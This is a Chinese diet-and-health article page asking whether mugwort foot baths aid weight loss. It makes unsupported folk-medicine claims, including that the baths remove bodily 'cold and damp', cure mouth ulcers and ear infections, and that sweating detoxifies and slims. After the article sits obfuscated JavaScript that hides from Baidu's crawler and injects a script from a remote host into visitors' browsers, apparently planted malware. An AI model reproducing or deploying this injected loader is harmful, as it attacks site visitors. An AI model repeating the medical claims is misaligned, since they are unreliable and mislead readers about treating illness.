當(dāng)前位置:首頁 > 減肥 > 減肥方法 > 正文

艾葉泡腳能減肥嗎?

2017-04-26 16:49:16  來源:360常識網(wǎng)   熱度:
導(dǎo)語:為了能夠擁有一個(gè)好的身材,美眉們也是用盡了各種方法,不過要想保障健康,還能起到減肥瘦身的作用,在選擇方法時(shí)還是需要認(rèn)真對待的,比方

為了能夠擁有一個(gè)好的身材,美眉們也是用盡了各種方法,不過要想保障健康,還能起到減肥瘦身的作用,在選擇方法時(shí)還是需要認(rèn)真對待的,比方說要合理膳食,還要適當(dāng)運(yùn)動(dòng),當(dāng)然了凡是能夠起到排毒作用的方法都是可以適當(dāng)采用的,那么艾葉泡腳能減肥嗎?

艾葉在我國民間使用的非常廣泛,既能夠食用,又能夠藥用,同時(shí)民間還認(rèn)為能夠驅(qū)毒避邪,受到了廣大人民群眾的喜歡。艾葉有一股辛辣味,吃起來也稍苦。艾葉具有很強(qiáng)的止血、溫養(yǎng)經(jīng)絡(luò)、祛寒、止痛、殺蟲等等的效果、艾葉泡腳則能夠達(dá)到很好的祛寒、降火的作用。

現(xiàn)代醫(yī)學(xué)發(fā)現(xiàn),艾葉中含有大量的揮發(fā)油,同時(shí)還含有微量元素、黃酮、多糖等等有機(jī)成分。這些物質(zhì)能夠有效的調(diào)節(jié)人體中的需求、同時(shí)艾葉具有很好的抗菌、止咳祛痰、預(yù)防過敏、增強(qiáng)身體免疫力等等的功效。

第一:祛寒、清除體內(nèi)濕氣、溫養(yǎng)經(jīng)絡(luò)的作用

實(shí)驗(yàn)告訴我們,艾葉具有很強(qiáng)的祛寒作用,食用艾葉泡腳能夠有效的促進(jìn)體內(nèi)的血液循環(huán),令體內(nèi)的濕寒之氣排出體外。艾葉能夠疏通我們的十二經(jīng)絡(luò),調(diào)理身體中的陰陽平衡。體內(nèi)的經(jīng)絡(luò)疏通了,氣血循環(huán)自然就變得順暢起來。氣血健康了,體內(nèi)的寒氣自然而然就會(huì)小時(shí)了。

現(xiàn)代人由于缺少運(yùn)動(dòng),所以普遍都有寒氣、濕氣過重的情況,艾葉則能夠很好的治療這種情況。

第二:去虛火和寒火

人體中患有口腔潰瘍、口腔炎、中耳炎、咽喉腫痛等等情況,這些都是由于體內(nèi)虛火旺盛或者寒火完勝導(dǎo)致的。只要將艾葉和水一起熬煮之后藥液泡腳一會(huì),然后全身除了微汗就可以了。然后喝一些溫開水,連續(xù)泡腳兩單天,并且少吃一些寒涼食物,注意休息,那么這些疾病就能夠得到很好的緩解。

上文中對艾葉泡腳能減肥嗎給出了明確的介紹,想必大家也都心中有數(shù)了,減肥不是一天兩天的事情,還是需要做好充分準(zhǔn)備工作的,此外也需要意識到泡腳能夠出汗,而出汗也是排毒的一種方式,不僅能夠瘦身,還能調(diào)理身體。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}